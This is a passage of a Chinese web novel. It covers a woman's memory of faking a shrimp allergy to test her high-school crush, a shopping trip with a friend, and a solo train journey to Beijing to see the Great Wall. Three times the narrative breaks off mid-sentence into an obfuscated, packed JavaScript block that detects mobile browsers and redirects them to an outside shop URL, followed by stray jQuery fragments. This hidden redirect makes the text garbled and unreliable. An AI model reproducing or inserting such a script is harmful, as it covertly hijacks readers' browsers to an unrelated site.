最后去称重的时候,老板低头看了眼,随口唠嗑:“美女怎么不吃虾肉丸子啊?那是我们家招牌。”
“我知道,”她笑笑,“但是我对虾过敏。”
十几年了。
店居然没有倒闭,装修变了,老板还是那个老板,只是老了,皱纹多了,身旁还多了一个打游戏的孙女。一届又一届学生养活了这家的营生。
她认出了老板,但老板没有认出她,她只是千万个学生中的一员。
施清如靠墙边坐下,戴上耳机。
-
2012年春
三月初倒春寒,施清如卷着笔记本在老廖麻辣烫店里冷到抖腿。
透明的帘子中间全是缝隙,冷风往里不停地吹灌,她的注意力根本无法放在考试重点上。
周日下午施琴提前送她回校,这给了施清如溜出校门吃垃圾食品的机会,她把室友王雨灵也一块儿喊了出来。
周围都是大学生,只有她们两个身上带着高三生半死不活的气质。
“老板,这门能关一下吗?我快冻死了。”施清如忍不住高喊。
老板从后厨探头,“行啊,不过那门坏了,关不严实。”
施清如管不了那么多,缩着脖子过去把门关上,果然有条缝,但起码比刚才的风小一点。
回到座位上,她给陈安平发去企鹅消息。
「老廖麻辣烫,快过来呀,你不是已经到学校了?」
王雨灵一眼看穿,从卷子里抬起头揶揄道:“叫你心上人呢。”
“啧,”施清如压不下嘴角,“说什么呢,一会儿他来了你可别乱说话啊。”
“行行行,我不乱说,但班里那么多起哄的嘴你堵得完吗?”
施清如挑眉,哼着曲子扭身体,“那不关我的事。”
“蓝衣服和白衣服两位小美女,你们的两碗好了,来拿一下!”老板从出餐窗口探头向外喊。
老廖麻辣烫的卫生条件不算好,透明门帘上布满油污,空调也舍不得开大点,但它却是附近人气最旺的店之一。这一切都要归功于新鲜的食材,和老板的独门秘方,汤底特别咸鲜。
施清如吃麻辣烫最喜欢油面筋,多到看不见其他食材为止,王雨灵嫌弃地看了一眼。
“你这样吃明天醒来肯定肿。这家店虾肉丸子好吃,你怎么不吃?”
“我过敏啊,王小姐,我都和你说过两回了,怎么还不记得?”施清如皱起鼻子不满道。
她尴尬笑笑道:“忘了哈哈。”
她们平时一起吃饭也不会问对方为什么不吃虾,顺嘴的一提忘记了也实属正常。
衔住筷子,眉毛生动地跃起。
“雨灵,陪我演一场戏。”
狡黠的精光比麻辣烫店的顶灯还晃眼。
不多时,陈安平捏着两把伞掀开帘子走进来,身上的灰色卫衣落了几滴雨,零星出现几朵深色的圆点。
他从学校出来时,乌云卷着似一条龙伏在教学楼顶。依施清如的性子,九成九没有带伞,于是他带了两把,他倒不知王雨灵也在。
刚走到店门口,雨就落下来了,在陈安平身上笼下浅浅一层的潮气。
王雨灵正对着门,看见陈安平,面上不动声色,桌下的脚却踢了踢施清如,飞快入戏。
“你怎么了?怎么脸这么红?”
她焦急的语气有着浓重的演绎成分,但骗过陈安平似乎绰绰有余。
施清如喘着粗气,一副呼吸困难的模样,用指甲来回抓挠自己的脸颊和脖子。
“我……我好像过敏了。”
陈安平脸色微变,跨步走过来,“你吃什么了?虾?”
王雨灵睁着无辜的眼睛告诉他:“她可能是吃了虾肉丸子……”
“你不知道自己对虾过敏吗?”
这话是对施清如说的。
陈安平的语气有点重,脸色又沉又青,王雨灵吓了一跳。
施清如的脸颊泛着诡异的红色,上面还有几道她自己用指甲抓出来的红痕,往下看去,脖子上也是如此,触目惊心。
“王雨灵,晚自习帮她请个假。”陈安平拿起手机,“我叫救护车送她去医院,我一起过去。”
他一顿,有所顾虑,“或者你和她一起去?”
王雨灵被他的架势惊到,一时没说出话,不知所措地望向始作俑者。
施清如见好就收,在事态升级前老实交代,嬉皮笑脸仰视陈安平。
“陈安平,我逗你玩的,我没有吃虾肉丸子,我哪敢啊。”
他一怔,举着手机的臂膀重新垂落,半晌,陈安平拧眉凝视施
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314041|152368||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
清如,一字一顿。
“逗我玩的?”
施清如点点头。
他的视线从她因为演戏而水润的眼眶向下挪移,停留在那些过敏的红痕上,“你……”
但当他看见她眼底狡黠的流光后,他没有再问。
那些痕迹是她刚才又扭又捏做出来的,怪疼的。
陈安平绷着平时温和的脸,放下两把伞,“我先回学校了,你们晚自习别迟到。”
施清如一愣,蹭一下站起身,“你不吃麻辣烫了吗?”
陈安平的背影稍有迟滞,在透明门帘前驻足,两秒后,他还是出去了。
王雨灵提醒:“外面在下雨。”
“这个呆子!”施清如拿了一把伞冲出去,追上陈安平,“你把伞拿上,我和雨灵可以撑同一把。”
陈安平没伸手,雨水顺着他干净利索的短发往下滴,眼睛隐匿在雨帘下。
施清如不耐烦了,“我陪你在淋雨,衣服都湿透了,冷死了!我刚才就是想试试你的反应嘛,谁知道你会生这么大的气,开开玩笑都不行吗?”
陈安平看着她,“施清如,这一点也不有趣。”
施清如努了努嘴,没法反驳。
陈安平低头拿过伞撑开,塞进她手中,淡淡道:“你去吃饭吧,我回寝室换身衣服就好。”
晚自习时,陈安平是踩着点进教室的。
灰色的卫衣换成了校服,嘴唇比下午白。
施清如扭着脖子远远看他,心想这家伙还在生气,小心眼。心声刚响,走廊外炸起一声雷鸣,雨花儿被风吹到走廊里面,蒋澜连忙起身去将教室的前后门都关好。
一整个晚自习,陈安平都醉心于做卷子,除了中途喝水之外,连头都没抬一下。
施清如做完两张卷子,实在憋不住了。她最讨厌这种闷闷的感觉,宁可像窗外的雷雨一样狂风大作。
她跑去教室后面,拍了拍骆泽川的肩膀。
“骆兄,和我换个座位。”
骆泽川揉着脖子睨了她一眼,“干嘛?”
“我有英语问题要问陈安平。”
骆泽川贱兮兮地笑了下,“怎么不问我?我英语也比你好。”
施清如翻了个白眼说:“你没他好。”
“人身攻击啊!”
施清如咬牙切齿瞪他,“换不换?”
“换换换,请我两包乐事。”
“请,我请还不行吗?区区两包乐事,你有没有点出息啊?”
“我就没有,怎么了?”
骆泽川做着鬼脸拿着卷子去施清如的位置上。
闹腾的人一走,周围就安静了。
施清如坐到骆泽川的位置上,嫌弃地挪走他喝了一半的牛奶,用余光打量着陈安平。
他好像陷在了某道物理题中,笔迟迟没有动。
“要不要我教你?”
施清如自告奋勇,语气略有些谄媚。
陈安平深吸了一口气,又叹出,转头低声问她:“你想问我什么英语题?”
施清如随手在卷子上指了道语法题,陈安平侧身垂下眸子,徐徐给她讲解。
其实施清如会做这题,她的注意力全在陈安平的眼睛上。
“陈安平,下午是我不对,下次不开这种玩笑了,你不许生我气了。”
她的道歉也是霸道的,丝毫不给陈安平拒绝的空间。
察觉到她的心不在焉,陈安平的指尖往卷面上敲了一下,抬起头看她。
过了良久他说道:“别拿自己的健康开玩笑。”
“嗯,我知道啦。”
施清如趴到桌子上,用上目线看他,故意用力眨眼睛。
“你看雨这么大,晚自习结束你能不能陪我走回寝室呀?”
“不能。”陈安平把英语卷子推回给她,板着脸继续做物理题。
“喂陈安平,”她不能大声说话,只能用气声抗议,“你怎么这么冷血无情呀。”
终于,陈安平扬起了今天一整日的第一个笑容。
“那你要不要离我这个冷血无情的人远一点?”
施清如别过脸,冷哼,没有回答他。
“有的同学,不要交头接耳讲一些无关的话。问完题目就好回到自己位置上去了。”
周旺低沉的声音陡然从教室最后方响起,施清如倒吸一口气。
周大头怎么来了?
她只好攥着卷子灰溜溜回自己座位。
好歹,陈安平最后是笑了。
5. 005
施清如想找找和陈安平的企鹅聊天记录,好不容易登上尘封已久的账号之后,她才想起自己当年一气之下将他删除了。
同学录上陈安平写的电话号码早在他大学时就停用了,之后的施清如无从得知。
将手机重新倒扣回桌上,她悻悻吃着麻辣烫。
同样是春,今年的春就温暖许多。
没有下不尽的雨水。
离开老廖麻辣烫,施清如打了一辆车回家,在楼下水果店买了一盒丹东草莓。
家里没人在,施琴大约是去打牌了,王文忠八成在河边钓鱼。
施清如把草莓放进冰箱,冲了个澡,倒在床上沉沉入睡。
床像一片巨大的沼泽,将施清如吸了进去,她产生了一种错觉,一种自己一直在下坠的错觉,从云端往深海,望不到尽头。
直到施琴温柔的呼喊声将她唤起。
“宝贝,已经晚上八点了,不吃饭可不行,吃完了再接着睡好不好?”
施琴特意到这时才将她喊醒,就为了让她补眠。
施清如用力吸了一口气,像是从深海里浮出水面的人吸到第一口氧。
她的短发像一个失败的鸟类建筑家所建筑的鸟窝,枝条横七竖八地岔出去,发梢卷曲向上,不成章法。
她眯着眼睛,慢慢适应光亮。
餐桌上,施琴给施清如看了一张照片。
“这个男生你觉得怎么样?今年三十五岁,他就住在我们小区,做药代的,家里条件不错,自己收入也不菲,我和他妈妈挺聊得来的,会是个和善的婆婆。”
施清如瞥了一眼,没有李煦长得端正,但也不难看,戴着黑框眼镜,脸有点方,笑起来有几分谄媚讨好姿态。这没什么,她一直觉得这些见人说人话、见鬼说鬼话的人很厉害,这也是种能力。
“有没有二十五岁以下的年轻人?”施清如收回目光,夹着白切鸡浸到酱油里,“想看点年轻肉/体,不想看老腊肉。”
施琴拍了她一下,“没个正经的。二十五岁以下的男生多幼稚啊,你现在是要结婚,不是谈恋爱图快活。”
施清如边躲打边笑。
“再说吧,我最近不想相亲了,让我休息休息吧。看了这么多男人,没一个有发展下去的欲望。”
“之前不是说好了吗?要在三十二岁之前结婚,那你可不能这么躺平啊。好男人难道会从天而降吗?你得出去找。不想相亲就多去参加年轻人的聚会。”
“嗯嗯嗯。”施清如咬着筷子敷衍,“明天我去趟宜家,给新房子添点软装。”
“要不要我陪你一起去?”
“不用,我和言静一起。”
前两年房价低迷的时候,施琴做主给施清如全款在西湖区买了一套89平的房子作为她个人的婚前财产,所有装修风格都按施清如的喜好去办。
断断续续装了一年半终于到收尾阶段,只不过还要空置几个月散甲醛。
第二天施清如去宜家的时候,喊上了闺蜜张言静,她是生活类博主,最近刚把租的别墅退掉,换成大平层。
张言静每次出门不是头上就是手腕上长了摄像机,一开始施清如不喜欢入镜,久而久之也随便了,偶尔会在她的vlog里客串,颇受欢迎。
两个人是大学死党,这么多年关系一直没有变。张言静老家在苏州,从浙大毕业后就留在了杭州。在自媒体还不像现在这么火的时候,她就热衷于在网上分享日常生活,研究生毕业的时候已经有几十万粉丝,如今早已过百万。
她向家里人展示了可观的收入,顺理成章在毕业后就成为自由职业者,一天班没上过。许多人不理解她,这么优秀的学历为什么只做自媒体,不找个正经班上。但好在张言静的家人理解,能赚钱就行,头衔都是虚的。
“今天和Vivi一起来宜家啦,Vivi,过来打个招呼。”
张言静一把将施清如拉到镜头中。
轻薄清透的底妆和奶茶色口红在滤镜的加持下尤为温柔,挡住了她穿透底妆的黑眼圈。施清如朝镜头淡淡瞥了眼,扬唇微笑。
“Hello,我又来蹭静女王的热度了。”
张言静的网名很有年代感,叫做「自由的静女王」,施清如吐槽过不止一次。
逛宜家的时候,张言静一直在对着镜头分享她平时喜欢购买的家居好物。
施清如走在前面,看中一个墨绿色的单人沙发,盘算着放到书房里。
她算是极繁主义者,喜欢用各式各样的色彩填满个人空间。她喜欢买冰箱贴、明信片,各个旅游胜地纪念品宰的就是她这样的人。
结完账,预约了沙发送上门的日子后,施清如和张言静在宜家吃午饭。
录完一段素材,张言静终于摘下摄像头,长舒一口气后开始大口吃喝。
她瞧了眼施清如问道:“你昨天没睡好?黑眼圈跟熊猫似的。”
“前天没睡,昨天到今天睡了十几个小时,睡得我想吐。”
“干坏事去了?”张言静打趣。
“通宵打游戏,昨天上午回了趟成华。”
“回成华?又不是教师节,难道是你们学校校庆?”
施清如卷了满满一叉子肉酱意面,手一垂,撞到盘子上发出叮一声。
“没有,我闲得无聊去找青春回忆。”
张言静顿了下。
“陈安平?”
施清如抬起眼。
固定在叉子里的面条一点点松弹开。
她没说话,看着对方。
“说中了?”
大学的时候,施清如没少提起陈安平这个人,张言静还看过他许多照片。大一的时候,施清如最喜欢做的事就是拿出高中军训和毕业时的集体照,在一张张麻木不仁的脸庞中指出陈安平。
军训照里的陈安平黑黢黢,仰着头和其他人一起将迷彩帽抛向空中。他的下颚线清晰锋利,不柔美,眉骨高,眉宇英气,但眼睛极为温柔。
高一上学期施清如和陈安平并不在一个班级,因此同一张照片里没有她,这是她从学校官网上下载后又印刷出来的。
高三毕业照,以陈安平的身高应该站在最后一排,但他却站在施清如身后,为此两个人还特意站在了最右边,不会挡住其他人。
三年过去,陈安平的皮肤早白回来了,他比高一时瘦了几分,退去些婴儿肥,外表成熟清爽,挂着一抹很淡的笑意。不夸张地说,他是标准的初恋长相。
张言静看过太多次了,以至于她到如今都还记得陈安平的长相,她完全能理解施清如为何念念不忘。
不过有一天开始,施清如就不提他了。
像突然将这个人从记忆里抹除般。
因为不正常,所以张言静没敢追问。
一转眼三十岁,她以为施清如早把陈安平忘了,如今提起来大约也只是心血来潮。
施清如淡淡提起这场心血来潮的起因,“前天我相亲的时候碰见他的高中死党了。”
张言静恍然大悟,“所以你想到他了,突发奇想回学校追忆一下青春。”
“差不多。”
“那你打听到了吗?他现在在做什么?”
施清如张开血盆大口把意面放进嘴里,“去英国了。”
“诶哟,不回来了?”
“鬼知道,他和高中死党都没有联系。”
张言静抿了抿嘴
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314042|152368||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,“我高中班里有个混得特别好的人,也不和同学联系了,挺现实的,大家不是一个阶层了。你想开点,没准陈安平现在已经是个秃头、啤酒肚的‘那个男的’了。我高中暗恋过的一个人现在就是地中海,泯然众人矣,我根本不想回忆喜欢过他的细节。”
施清如弯唇道:“我也这么觉得。”
“而且,他也三十岁了,也许已经有家庭了。像我们这样没结婚甚至是单身的人毕竟是少数。”
施清如想起陈安平说的话。
如果有合适的人他就会结婚。
高中毕业那么多年,他也许已经找到了那个人。
但不知为何,施清如忍不住在心里诅咒他这辈子都找不到。
她挑挑眉,没有附和张言静的话,反而说道:“不一定有人受得了他的闷葫芦性格。”
“有多闷?”
“说话喜欢两个字两个字往外蹦。”
“哇,好无聊。”
“就是啊——”
从宜家出来后,施清如和张言静一起去做了个头皮护理,之后张言静送她到新房子。
“你等下怎么回家去?”
施清如打了个哈欠,“打车。”
张言静帮她搬着东西,疑惑不解,“你的车呢?你都多久没开了,停在车库里吃灰呢。”
施清如笑着说:“我爸有时候会开,我又不喜欢开车,能不自己开就不开。”
“懒虫,”张言静无奈道,搬出最后一样东西后关上后备箱,“你偶尔也开开吧,不然我真怕你忘了,到时候变成马路杀手。”
“放屁,我技术好得很。”
张言静离开后,施清如在新房子包着布的沙发上坐了会儿发呆。
夕阳从客厅飘窗照射进来,木地板上映着窗棱,晒得她眼前出现一片片光斑。
回神时,施清如意识到自己又点开了陈安平的青青网主页。
说来讽刺,这是她目前唯一能获得陈安平信息的地方,而且信息断在六年前。
她像是一个饥肠辘辘的人,意外找到了松鼠藏匿果实的宝库,偷也不是,不偷又忍不住。
算了,反正她曾经对陈安平有意这件事人尽皆知,她也不是怕丢脸的性格。
现在她只不过是对老同学有几分好奇心。
施清如点开他的相册,没有按时间顺序看,随手滑了几下,多是些花草树木和天空,还有在长城上的全身照。
她点开那张长城上的照片,放大。
陈安平穿着一件灰白色的插肩卫衣,站在阶梯上,双手落兜,淡淡笑着。他在看镜头,或者说,看给他拍照的人。
施清如翻了个白眼,挥手对着空气打了一拳。
笑笑笑。
谁准他这么笑的?
她又想起自己高中时说想去长城,结果她到现在还没有去成,她真怕再拖下去,自己疏于锻炼的身体会爬不动长城。
陈安平去的时候是深秋,阳光把本就金黄的叶子照得愈发金光璀璨。他身后是延绵不绝的城墙和满山又红又黄的叶子。
PS过吗?
怎么美得这么不现实?
那个时候为什么没有live图呢?
她想听听给他拍照的人是男是女。
不过她也没有很好奇。
施清如收起手机,打车回家。
晚上吃饭的时候王文忠问她,“周末要不要陪老爸去钓鱼?我最近找到了一个鱼口很不错的地方。”
施清如满口鸡腿肉,没心没肺笑着,“爸你自己钓吧,周末我要去北京。”
“去北京?!”施琴吃惊,“去干什么?”
“当然是旅游。”
6. 006
言静无法理解清如的选择。
“你为什么不坐飞机?将近七个小时的高铁,屁股都要坐开花了。”
“你不懂,”施清如对着屏幕咯咯笑,“沿途风景是很珍贵的。”
“你少来,你平时旅游都懒得拍照的人,装什么文艺。”
施清如对她晃了晃新买的运动相机,“只准你拍vlog啊?我也要拍,当你的同行!”
她不只带了运动相机,还带了富士。照片、视频两手抓。
张言静知道她的德行,“你能有耐心剪辑再说做自媒体吧。对了,你买的什么座位?”
“商务座。”
张言静露出无奈的表情,“我就知道,你一点都不会委屈自己。我看你是准备一路睡到北京,醒来发现自己什么风景都没记录。”
“能别损我吗?”
“不能。我今天要去上海和几个博主合拍视频,不和你聊了。”
施清如一边收拾行李,一边问她:“上海的博主?都有谁?”
“徐烁、小鹿那几个。”
“哦,没听说过,玩得开心。”
如今从杭州到北京,坐最快的高铁只需要四个半小时。在施清如高中的时候,最快也需要七个多小时。那时候她陪不能坐飞机的祖父祖母去北京,逛了故宫、恭王府、什刹海等景点,没有去到长城,毕竟老人家爬不动。
故地重游。
算故地重游吗?
也许吧。
这次她还是没有坐飞机,因为陈安平是坐火车去的。青青网的相册里有一整页大约十几张照片,都是他从车内往外拍的风景。
沿途经过乡村、麦田、秃山还有湖泊,夕阳映出过道对面乘客的轮廓,唯独没有他自己。
虽然青青网的图片画质不够清晰,但陈安平的镜头是有温度的。
施清如觉得他也许在英国当摄影师,即使他大学的专业是计算机。
她也是。
他们两个或许都应该像骆泽川那样成为码农,但施清如的直觉告诉她,他没有。
码农的日子太忙碌了,陈安平会无法照顾他妈妈。
施清如有些后悔买商务座。
商务座车厢里太冷清了,和陈安平镜头下的世界完全不同。
过道对面只有在宽敞红皮座椅上睡觉或是办公的人。
列车行进一小时后,施清如终于坐不住,主动离开座位,前往用餐车厢。
她带着富士相机一路穿过几节车厢,印象最深的是孩童的哭闹声和一些短视频外放声。
无意的一抬眼,窗外嫩绿色的麦浪在晴空下随风荡。远处是些不时髦的房子,和成华中学的钟楼是同一派,受着西方的影响,骨子里还有东方的执着。几十年发展下来,早已成为国内特有的一种风格,不说好与坏,但施清如能感觉到——在阳光和蓝天下,它们散发着温馨与亲和。
离开高楼耸立之地,她举目能望见更远处的地平线。
只是望不到英国,也望不到十几年前的学生时代。
用餐车厢里人不多不少,但每一桌都坐了人,有一桌坐着两个休息中的列车员,正面对面在聊天。
商务座提供盒饭,但她没什么胃口。平心而论,她是一个间接性很挑剔的人。
施清如不想吃盒饭,却花了八块买了一桶泡面。
她可能是脑子有病。
病得不轻。
否则也不会踏上这趟旅程。
这么一想,她心里感到烦躁。
当面被滚水泡开的时候,她又想明白了。
她不是为了陈安平去的,她是想去看一看长城。
仅此而已。
施清如不是什么历史爱好者,所有知识点都是曾经为了应付考试死记硬背的。一脱离学校,她就忘得一干二净。
她想去长城只有一个原因——高中那次去北京没去成。她总觉得,这么出名的长城都不去,岂不是白去北京了?
张言静经常说她是一个执念很深的人。
她的执念很幼稚。
有一次她们一起去西班牙旅行,施清如在马德里的一家古董店看中一个外壳镂空的机械怀表,店主约莫看出她是个人傻钱多的人,趁机敲竹杠,报给她一个昂贵的价格。
张言静看不下去,好说歹说劝住了施清如。
谁知道回国后施清如对那个怀表念念不忘,第二年独自又去了一趟马德里,故地重游,把那个怀表买回来了。
有趣的是,怀表回家后,就此尘封在书房的柜子中,不见天日。
施清如甚至忘了它的存在。
餐车没有空桌,施清如便和一位绍兴出发的大姐拼了一桌。
大姐没有点火车上的吃食,自己带了茶叶蛋和玉米,还有一个泡着茶的保温杯。她在边刷短视频边品尝美食,看见施清如后便放下手机。
“小姑娘去哪里的?”
施清如吹了口热烫的面,回答道:“去北京。”
“去玩啊?”
“嗯。”
大姐很自来熟,问施清如要不要吃茶叶蛋。问是问了,但没给施清如拒绝的机会。
她手速极快地从食品塑料袋里取出一颗带壳的茶叶蛋,三两下剥去壳,把蛋挤进了施清如的泡面桶里。
施清如的动作一滞。
出门在外不能吃陌生人给的食物是她的原则。
但是大姐的眼神比窗外的太阳还炙热。
“我朋友都喜欢吃我煮的茶叶蛋,总向我讨要,你尝尝,肯定喜欢。”
施清如觉得老一辈人身上有种特质。
她们很自信。
这绝不是什么阴阳怪气,是她见多了年轻人的自卑感所比较出的结果。
她放下刚卷起来的泡面,叉起茶叶蛋咬了一口,虽然蛋的味道被泡面汤水冲淡,蛋黄部分的咸鲜还是非常惊艳。
和她爸王文忠的手艺比也不差。
王文忠可是煮茶叶蛋的高手。
“好吃。”施清如夸赞道。
大姐高兴地又问:“玉米要吃吗?又嫩又甜。”
施清如连忙摆手,“不用了大姐,我早上吃太多了,这会儿还挺饱的,吃不下这么多。”
“行,姑娘你要去北京哪里玩?”
“长城。”
“诶哟,长城有什么好玩的,特累人!风景都是一样的风景,不如去地坛公园逛逛。”
施清如不太想说自己的事,岔开话题,“大姐你也是去北京吗?”
“是啊,看我儿子去,儿媳刚生了孙女,我去照顾她。”她叹了声气,“本来早想去了,但我老伴前两个月摔了一跤,动了手术,也得我照顾,现在恢复得还不错,能自己照顾自己了,我才能去北京。”
这时火车驶入一段山洞隧道,手机信号受影响,车厢内也一片漆黑。
大姐不喜欢这黑暗,有一分多钟没说话。
泡面的热气往上飘着,在施清如下巴上蒙了一层水雾。
刚才听大姐说话的语气,她想当然觉得对方的生活很
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314043|152368||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
幸福。可这般听起来,施清如只觉得累人。
天南地北的一大家子都要她照顾,且只能指望她。
但也不对。
她一个啃老族,凭什么替大姐觉得不幸福呢?
施清如晃了晃脑袋,把别人的人生从自己的大脑里晃出去。
窗外天光又亮起,身后的山体快速倒退远离,铁路边几条不规矩的树杈子刮蹭着列车体。
“姑娘你和我儿子年纪差不多吧?”
施清如吃了一口泡面,“我三十了。”
大姐讶然,“真看不出来,那你结婚了吧?”
施清如笑笑,“没有呢,我还单身。”
“男朋友也没有?”
“没有。”
“诶哟。”
施清如瞥了她一眼,感觉到她想催婚,但碍于彼此是陌生人,忍住了没说。
“我儿子之前也没谈过,前年他单位同事给他介绍了一个,一谈就成了,今年孩子都有了。你长得这么好看,耳垂又漂亮,肯定是有福之人,缘分没准就在北京等着你呢,明年就结婚!”
也许是因为施琴和王文忠的婚姻生活很幸福,施清如耳濡目染,并不排斥结婚,甚至是向往的。
“哈哈哈,”施清如大笑道,“借您吉言。”
她摸了摸自己发炎的耳垂,上面戴着一对纯金耳钉。施琴说戴纯金的有助于耳洞的生长闭合,但也许是她的皮肤愈合能力太差,几个月过去了,仍旧没有长好。
流脓、结痂,取下耳钉清理,再戴上。
流脓、结痂……
循环往复。
又痒又疼。
将泡面桶扔掉后,施清如陪大姐又坐了会儿,没什么重点地谈天说地。
施清如是很能与人周旋的人。
只要她乐意。
但并不代表她付出了任何感情。
相反地,她的笑容与热情更反衬出她内心的漠然。
施清如以前不这样,但这几年她的精力下降,大不如前,便没有多少真情实感能给予他人。
聊天的时候,她时不时会举起相机拍一拍沿途的风光。
湖泊、山峦、麦田……
陈安平拍过的那些风景,也出现在她的镜头中。
只是一个在秋天,一个在春天。
秋天金黄色的美丽之后是冬日的寂寥。
而春天之后,还有更富生机的盛夏。
黄昏时分,遥山万叠云散。
施清如与大姐各自回到车厢,没有留下彼此的联系方式。
整趟旅程,施清如都没有在商务车厢待多久。
最后的时分,她打着哈欠靠在椅背上,手指随意地滑着相册的照片。
陈安平的那些照片。
大姐远赴北京是为了家人。
她是闲得无聊,没事找事。
最后浅眠了一刻钟,火车停在北京。
有句话说,秋天银杏叶黄时的北京是北平。
那春天呢?
施清如带着疑问走出车站,打车穿梭在拥堵的街头。
路边种着许多毛白杨,树枝的形状野蛮向上伸展,真是好有生命力的一种树。
高中来京时,她没有那么多闲心观察,现在她却连柏油路上的涂漆缺了哪一角都想看个明明白白。
大姐说,她的缘分也许就在北京。
但施清如知道这不可能。
在她将陈安平从记忆里彻底剔除之前,缘分的通道已被青春的石子堵住。
7. 007
北京是阴雨天,衣服沾着潮气紧贴在皮肤上。
施清如被困在延庆区的这所酒店内。
打开外卖软件,能入眼的店家都在配送范围之外,她忍着窜上来的恼意,踩着拖鞋蹬蹬蹬下楼去酒店的餐厅。
一顿饭吃下来,施清如甚至不记得自己吃了什么。
她特别不喜欢这些学米其林,最终却学成四不像的餐厅。菜量小得如同小鸡啄米,味道却如烛火上滴下来的蜡,花出去的钱如同沉入池塘的石子。
回到房间,脱掉衣服准备洗澡,她忍着房间里挥之不去的微微凉意,站在花洒下等了五分钟——水还是凉的。
她爆了一句粗,无可奈何地重新穿上衣服,再踩着拖鞋蹬蹬蹬跑去找前台理论。最终对方同意给她换房,升级到一层带院子的大房间。
院子也淋着雨,除了一抹色的草坪就只有灰色的水泥墙,还不如在高层视野开阔。
一顿折腾下来,施清如累得像被扒了层皮。
当她终于如愿洗完热水澡倒在床上后,她抽出双肩包里的平板电脑,想看部电影。片头刚放完,画面一黑要转场,施清如忽然感觉到身下有一股液体涌出来,她吊着嗓子眼站起身,奔到卫生间处理。
她的月经提前两天来了。
刚换的内裤又被染红一片,睡裤内侧也沾上了一些,所幸酒店的床单幸免于难。
重新换了条裤子垫上卫生巾后,施清如站在水池边用冰水洗内裤。
刚沾上的血迹还不是太顽固,轻轻一搓就掉了大半,不过还是留下了一些轻微的,肉眼几乎看不见的痕迹。
施清如出神地看着被冰水冲洗的双手。
如今的季节里,夜晚依旧是寒凉的,水龙头里出来的水也冰,不一会儿她的手就失去知觉,分不清是冷还是烫。
良久,她把水龙头往左拧紧,眄视镜中的自己。
一趟无厘头的行程,多有狼狈。
施琴总说她的心智像没长大的小孩,做事没有成年人的深思熟虑。施清如觉得施琴说得不对。
最近几年,她常有力不从心的时候,心智好像忽然从十几岁迈入了三十的坎。有些事,她已经深思熟虑了太久,因此作出决定只需要短暂的一瞬。
施清如低头拧干内裤,找了一个衣架晾起来,做完这些事,她回到床上给施琴发了一个报平安的信息。
一看时间已经十点半,她的精神也撑不起再看一部电影,她索性开始刷各种社交平台,给张言静的新视频点了一个赞。
侧躺了一会儿,腰侧隐隐开始作痛。
她不知道是因为坐了近七个小时火车导致的,还是生理期导致的,总之她无法再看手机,伸手将房间灯一关。
黑暗中是她在床上翻来覆去、耸动的响声。
良久,她用嘶哑的嗓音对着空旷的房间抱怨道:“烦死了,怎么总是想起你。”
-
2010年春
施清如和新班级大部分同学已经混得颇为熟悉,王雨灵和她一样学理,都被分在重点班二班。
二班的班主任是周旺,头发很短,只比圆寸长一些,外号周大头,因为他的头又大又圆,很有存在感。这外号是学长学姐起的,流传下来。
周旺教语文,施清如不太喜欢他。
因为他总似唐僧念咒般,在她耳边念叨。
“施清如,老师知道你很有想法,但是你的想法可不可以留到课外创作中?考试的时候就按我教你的答题行吗?”
“你只要把语文成绩提升起来,年级排名能再上去起码二十位。”
施清如忍着经痛刚去周旺办公室听完念经,回到座位上就向王雨灵倒苦水。
“大头有病吧,每次都是那么几句话反复讲,有什么意思!”
她将下巴搁在桌面上,手臂压在肚子上,企图用另一种疼痛转移绞痛带来的不适。
王雨灵用笔抵着下唇,看着一道物理题犯了难,“周大头就是喜欢念经,起码他不像隔壁一班的沈阎王那么凶,忍忍吧。”她晃了晃施清如的小臂,“这题会做吗?给我讲讲。”
施清如努力抬高眉毛,带起自己沉重的眼皮,扫了一眼,是道电场强度的题。
她撑在桌上,给王雨灵讲了题,额头冒出虚汗。
“下午第一节是什么课来着?”
“体育。”
施清如皱了皱眉头。
“今天是要干嘛?自由活动吗?”
“不知道,不过肯定不测800,上周刚测过。”
施清如痛得翻起白眼,往桌上一趴,推开一叠还没来得及做的卷子,“那就行,我睡会儿,上课之前喊我。”
从教学楼去体育馆要横穿操场,平时施清如很喜欢这段路。铃声响起后的操场很空旷,只有自己班的同学,像草原猎豹一样经过,有的精力旺盛的同学会你追我赶地跑过去,剩下的则散步似惬意。
但这天她的经痛比平时强烈,仿佛有一台绞肉机把她的五脏六腑都绞在了一起,碎得不成样子。
她走到一半,弯腰用左手撑住自己的大腿,喘着粗气等这一阵的阵痛过去。
王雨灵折回教室去拿水瓶了,身边也没个能让她搭一下肩的人。
太阳照着施清如的头顶,她一动不动,不一会儿就看见有汗珠从自己额头滴向草坪,落在她鞋边。
“你还好吗?”
